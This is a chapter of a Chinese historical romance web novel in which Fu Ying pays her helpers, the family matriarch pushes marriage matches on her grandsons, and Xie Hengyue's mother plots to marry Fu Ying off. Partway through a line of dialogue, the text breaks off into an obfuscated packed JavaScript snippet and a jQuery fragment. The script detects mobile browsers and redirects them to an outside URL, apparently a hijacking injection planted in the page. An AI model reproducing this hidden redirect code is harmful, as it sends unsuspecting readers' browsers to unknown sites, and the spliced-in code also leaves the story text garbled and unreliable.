扶楹用丝帕裹着五两银子,捧在手心里,双眼亮晶晶的:“我做这些东西都靠你替我跑腿,自然要分给你工钱。”
“今日若不是清棠一道,我连接近这些人的机会都没有,自然也要谢谢她,再加上她今日帮我当了活招牌,便多给一两工钱。”
扫花院的处境尴尬,想必需要多些银两打点,但扶楹并未盲目多给,凡事论功给钱,她自己又要当招牌,又要辛苦做工,自然该得最多。
芫荽将银两送到扫花院时,谢清棠正和柳姨娘坐在一起说着今日见闻。
瞧见银子,谢清棠连连摆手:“这都是表姐辛辛苦苦赚来的,我什么也没做,怎么能拿银子,你快拿回去,让表姐好好放着。”
芫荽得了扶楹叮嘱,自是不肯:“我家姑娘说了,这是三姑娘应得的,往后还要多靠三姑娘相助呢,若三姑娘不收,往后我家姑娘也不好意思再请您帮忙。”
话说到这份上,谢清棠若是不收,反倒让人以为她不愿再帮忙了。
“那我便收下,往后表姐有任何用得着我的地方,让她只管来找我便是。”
芫荽欢喜应下。
等她走了,柳姨娘瞧见谢清棠握着二两银子,手足无措的模样,她拍了拍她的手:“棠儿,苏姑娘说得对,你既帮了她,这银子就是你该得的,若你心存感激,往后她再找你帮忙,便多为她尽心便是。”
谢清棠得了姨娘的话,心里落定,她吸了吸鼻子,将二两银子一并塞进柳姨娘手上:“这些都给姨娘,往后姨娘莫要再为了给我铺路,偷偷变卖首饰了。”
扶楹不知扫花院之事,只是得知谢清棠收下银子,便心满意足地睡了。
许是多了银钱傍身的缘故,这一觉睡得格外踏实。
睡醒后,她梳洗好便去春华堂请安。
她起晚了些,去的时候云氏和崔氏都到了。
云氏正拿着两张画像给老夫人,眉眼间掩盖不住的喜气:“母亲您瞧瞧,这两位姑娘哪个更合砚哥儿?”
老夫人仔仔细细辨看了两人,指着其中一人道:“这个瞧着好,性子沉稳,适合砚哥儿。”
“母亲您真是好眼光!儿媳也看中她呢,这是忠勇侯家的长女,自小才情出众,听说还擅武呢,砚哥儿那性子,就适合这么个将门虎女管束。”
“阿楹给外祖母请安,外祖母万福。”
“见过大舅母,二舅母。”
扶楹一直等在门口,等两人说话停顿间隙,才上前请安。
老夫人笑着朝扶楹招手:“阿楹来啦?快过来瞧瞧,你二舅母给二表兄挑的姑娘如何?”
扶楹听话上前,瞧了画中女子一眼,的确是个才貌双全的女子:“二舅母挑的,自然是顶好的,瞧着也与二表兄相配。”
听她这么说,兰流芳难得心情极好,对她也和颜悦色的:“阿楹嘴真甜。”
说着,她将画卷收起:“昨夜回来我已知会过二爷和砚哥儿,若是母亲也没有意见,那我便挑个吉日上门说项?”
老夫人自然称好。
这厢说定,老夫人看向崔氏,忍不住发愁:“这二郎的婚事都有着落了,大郎身为长兄,怎能落于人后?你昨日也去了泾阳候府,可瞧上心仪的?”
崔氏有些犹豫:“倒是也相中一个,只是不知浔哥儿意下如何。”
老夫人轻杵了下拐杖:“若等他同意,只怕他到老也说不上媳妇儿了!你既有瞧上的,便说出来让我们参谋参谋。”
一直以来,他们都想着让谢浔亲自点头答应,可眼看翻过年关他都二十有二了,至今没成,谢浔不着急,她们做长辈的可不能不急。
老夫人这么说,崔氏也觉有理,便道:“我昨日瞧着,江尚书家那位大姑娘不错,性子清冷淡漠,话也不多,浔哥儿一向喜静,想必两人合得来。”
崔氏说的这位江家姑娘,老夫人也瞧见过两回,是个好的。
二人商议着如何知会谢浔,如何议亲,全然没注意一旁神色僵硬的扶楹。
她才将将与谢浔拉近些关系,昨日好不容易借着谢浔的东风小赚一笔,这么快就要把她的登云梯许人了?
谢衔月一直注意着扶楹,眼下见她面色有异,只当是她觊觎长兄,听见要为长兄议亲,因此神伤。
她冷哼了一声,小声讥讽:“不自量力。”
扶楹听见她的话,此时却没心情理她,她在思索,若谢浔订下婚事,她可就不好再借他的势了。
她们这边说得热闹,那边谢浔也下朝和谢陸书父子一道来了,老夫人今日心情好,非拉着众人一道用午膳。
众人在饭厅落座后,老夫人突然吩咐朱嬷嬷:“去把清棠一并唤来。”
谢衔月立马不满地拧起眉:“祖母!”
“月儿,不得无礼!”兰流芳低声呵斥。
谢陸书不赞同地看向老夫人:“母亲,您喊她来做什么?”
对于有损他名声的母女俩,他实在不喜得紧。
老夫人这回却铁了心要喊:“好歹是你的亲生骨肉,你还当真要狠心舍了不成?纵然你不喜柳姨娘,这个女儿你得认。”
谢陸书不想惹母亲不快,只好咽下满肚子不快:“是,母亲说得在理。”
“父亲!”见所有人都不再反对,谢衔月着急地躲了跺脚。
兰流芳在一旁拉着女儿,不让她犯糊涂。
谢砚并不关心这些,他偷偷瞅着扶楹。
上回被兄长教训过后,他暂时偃旗息鼓了一阵,但昨日在泾阳候府瞧见扶楹那般模样,又忍不住蠢蠢欲动起来。
谢浔不动声色盯了他一眼,盯得他头皮发麻,连忙收回视线。
兄长可真是多管闲事,他自己不爱美色便罢了,还非要来管着他,一个上门打秋风的远得不能再远的表妹罢了,还值当他如此护着?
想是这么想,但谢砚也不敢在春华堂放肆。
众人一直等着谢清棠过来,她拘谨地向众人见了礼,随即在谢衔月和扶楹之间落座。
谢衔月一双眼睛盯在她身上,若眼神有实质,只怕早已将她大卸八块。
谢清棠顿感压力,大白天的竟觉得后颈无端发凉。
“好了,用膳吧。”
老夫人发了话,众人皆沉默用膳,气氛略微有些诡异。
饭后,老夫人特意点了谢浔,将午膳前让人去摹的江姑娘画像拿给他看:“你瞧瞧,可入得了你的眼?”
老夫人面上慈和,语气里却多了两分压迫,让人不敢反驳。
偏生谢浔对此不惧,他连画像都没接,便直接拒绝:
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15499929|170295||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“祖母,孙儿现在还没有说亲的心思,您就别为孙儿操心了。”
“说得倒好听,我不操心谁操心?你说自己有主见,结果呢?搪塞了我一年多,到现在婚事也没个着落,难不成,你还想随你那个抛妻弃子的爹一道削发修行不成?!”
老夫人这回是真的生怒了,竟连谢大爷都拎了出来。
堂屋内顿时静默一片,老夫人这是气糊涂了,竟也口不择言起来。
谢浔抿紧嘴不说话,脸上显而易见得不高兴。
谢陸书连忙上前劝解:“母亲,您提大哥做什么?浔哥儿有自个儿的打算,他暂且不愿成亲也能理解,您何必这么逼他呢?”
说完,又对着谢浔:“你也是,你祖母一把年纪了,你也不知哄着点,当心给她气出个好歹来。”
谢浔当即朝着老夫人躬身道歉:“祖母,孙儿并非有意气您,孙儿只是不想找个不喜欢的女子共度余生,并非是不愿成亲,还请祖母、母亲放宽心,待孙儿寻到两情相悦之人,自会成婚。”
说完这话,他也不愿再多留,直接告辞离开。
他往门口走时,目光下意识就飘到了坐在尾端的扶楹身上,待二人对上目光,他才惊觉不妥,连忙敛目。
待他走远,老夫人还在感慨:“这孩子怎生就这么倔?”
崔氏叹了口气:“瞧他对婚事抗拒得很,还是再缓缓吧,我们也别逼他太紧,否则若激起他逆反心理,他反倒更不愿成婚了。”
谢浔的婚事谈得不顺利,二房这边却融洽许多。
谢砚对自己的婚事无所谓,兰流芳从春华堂回来,便着手操办替他提亲之事。
谢衔月亦步亦趋地跟着她:“母亲,您要再不管管,扫花院那个就快要骑到咱们头上来了!”
先是泾阳候府,再是今日午膳,只要不是个蠢的都能瞧出来,祖母显然是对谢清棠上心了,有意提拔她!
兰流芳忙着吩咐下人采买提亲之物,对此并不以为意:“怕什么?她再怎么着也只是个奴生的庶女,她还能越过你去不成?待我将你哥哥的婚事落定,忠勇侯府便是咱们的亲家,还需忌惮她们母女不成?”
兰流芳不将她们放在眼里,谢衔月却难以安心:“您昨日难道没瞧见?谢清棠那狐媚子引得多少人流连侧目?我昨日费心打扮一番全被她压了过去,早晚有一日她会成为个隐患!”
兰流芳想到昨日的谢清棠,不说别人,就单她自己都忍不住多看了好几眼。
“你说得也对,但她从小在扫花院,连门都没怎么出过,别说其他,她怕是连胭脂香粉都不认识,怎能将妆容弄得那般好的?”
“这还用说,肯定是苏扶楹帮她的!昨日就有下人瞧见,她天还没亮就去了离云居,再出来就跟换了个人似的。”
谢衔月对苏扶楹的不满愈加强烈:“谢清棠也就算了,苏扶楹一个外人,竟将手伸进了咱们谢家,帮着谢清棠压我一头。”
“娘,咱们得想办法把苏扶楹赶走才行。”
谢衔月抱着兰流芳的手撒娇,兰流芳哪有不应的:“行、行,依你的,但她是你祖母带进来的,直接赶走肯定不行。”
“那怎么办?”
兰流芳瞧着手中采买清单,心里有了主意:“赶不走,但可以嫁出去。”